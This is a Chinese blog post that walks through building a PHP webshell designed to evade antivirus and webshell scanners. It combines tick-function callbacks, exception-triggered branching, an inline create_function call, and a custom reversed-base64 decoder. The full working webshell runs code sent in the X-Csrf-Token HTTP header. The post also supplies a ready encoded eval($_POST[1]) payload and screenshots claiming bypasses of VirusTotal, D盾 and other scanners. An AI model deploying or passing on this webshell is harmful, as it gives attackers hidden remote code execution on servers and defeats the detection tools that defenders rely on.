记录一个免杀的php webshell demo

0 阅读1分钟

分支对抗

分支对抗简单来说就是利用了增大程序控制分支的复杂度来使得绕过检测引擎,程序在控制流图上往往有几种结构:

img

那么我们还有其他的改变程序控制流的思路不?此处我用了两种方法混合在一起实现免杀

异常捕获机制

这里使用的是触发异常来完成程序控制流的第一次分支,所以我自己写了一个除以0触发异常的函数

function safeDivide($a, $b) {    if ($b == 0) {        throw new Exception("Division by zero is not allowed.");    }    return $a / $b;}

设置一个pass传参,我设置的主体框架如下:

try {    echo "result:".safeDivide(2025, ($_GET['pass']-1));}catch(Exception $e){    // evil code}

回调

我在php的官方文档里翻到一个有趣的函数

image-20251213211323627

ticks参数可以设置Zend VM opcode执行条数后触发

我们测试一下:

<?phpdeclare(ticks=15);​function test(){    echo "this is evil code\n";}register_tick_function('test');for ($i = 1; $i <= 12; $i++) {    echo "shell: $i\n";}

我们可以发现设置declare(ticks=15) 后,PHP每累计到约15个“tickable”执行点,就调用一次通过register_tick_function注册的函数。

image-20251213213119727

那么对于我们的webshell免杀,我们也可以利用这个函数,来完成程序控制流的改变

此处的设计将declare回调放在最外层实现第一次的控制流变化,将异常触发放在内层实现第二次

动态函数调用

这个就是直接使用php的函数了,没啥好说的了

create_function(string $args, string $code): string

实际测试的时候,如果使用变量接受的话,容易被检测

$a = create_function('', '');$a();

不使用变量来存匿名函数,这个也是尽量减少污点分析时候的特征

@create_function('','')))();

编码混淆

找个大模型一把梭

base64和逆序

function custom_base64_decode($input) {    $base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";    $input = rtrim($input, '=');    $binaryString = '';    foreach (str_split($input) as $char) {        $index = strpos($base64Chars, $char);        if ($index === false) {            throw new Exception("Invalid Base64 character: $char");        }    $binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);}​    $bytes = str_split($binaryString, 8);    $decodedString = '';​    foreach ($bytes as $byte) {        $decodedString .= chr(bindec($byte));    }    return $decodedString;}​function reverseString($input){    if (!is_string($input)) {        return "need str";    }    $length = strlen($input);    $reversed = "";    for ($i = $length - 1; $i >= 0; $i--) {        $reversed .= $input[ $i ];    }    return $reversed;}

完整的webshell

源代码

具体的攻击载荷放在http的X-Csrf-Token里

<?phpsession_start();declare(ticks=15);function safeDivide($a, $b) {    if ($b == 0) {        throw new Exception("Division by zero is not allowed.");    }    return $a / $b;}function custom_base64_decode($input) {    $base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";    $input = rtrim($input, '=');    $binaryString = '';    foreach (str_split($input) as $char) {        $index = strpos($base64Chars, $char);        if ($index === false) {            throw new Exception("Invalid Base64 character: $char");        }    $binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);}​    $bytes = str_split($binaryString, 8);    $decodedString = '';​    foreach ($bytes as $byte) {        $decodedString .= chr(bindec($byte));    }    return $decodedString;}​function reverseString($input){    if (!is_string($input)) {        return "need str";    }    $length = strlen($input);    $reversed = "";    for ($i = $length - 1; $i >= 0; $i--) {        $reversed .= $input[ $i ];    }    return $reversed;}​function tickHandler(){    try {        echo "result:".safeDivide(2025, ($_GET['pass']-1));    }catch(Exception $e){        @create_function('',custom_base64_decode(reverseString(apache_request_headers()['X-Csrf-Token'])))();    }}​​register_tick_function('tickHandler');​for ($i = 1; $i <= 12; $i++) {    echo "shell: $i\n";}

测试环境

PHP版本:PHP7全版本

OS:Windows和Linux环境均测试通过

使用方法

初始payload: eval($_POST[1]);

base64编码,逆序处理:==wOp0VMbR1UPB1XkgCbhZXZ

放在http头部里

image-20251213214226087

webshell连接

image-20251213214341437

免杀效果展示

  • 第四届伏魔挑战赛成功绕过(white)的截图

image-20251213192015146

  • VT

image-20251213220802777

  • D盾(2.1.8.6)

image-20251213220929760

  • 河马:报了可疑

image-20251213221857350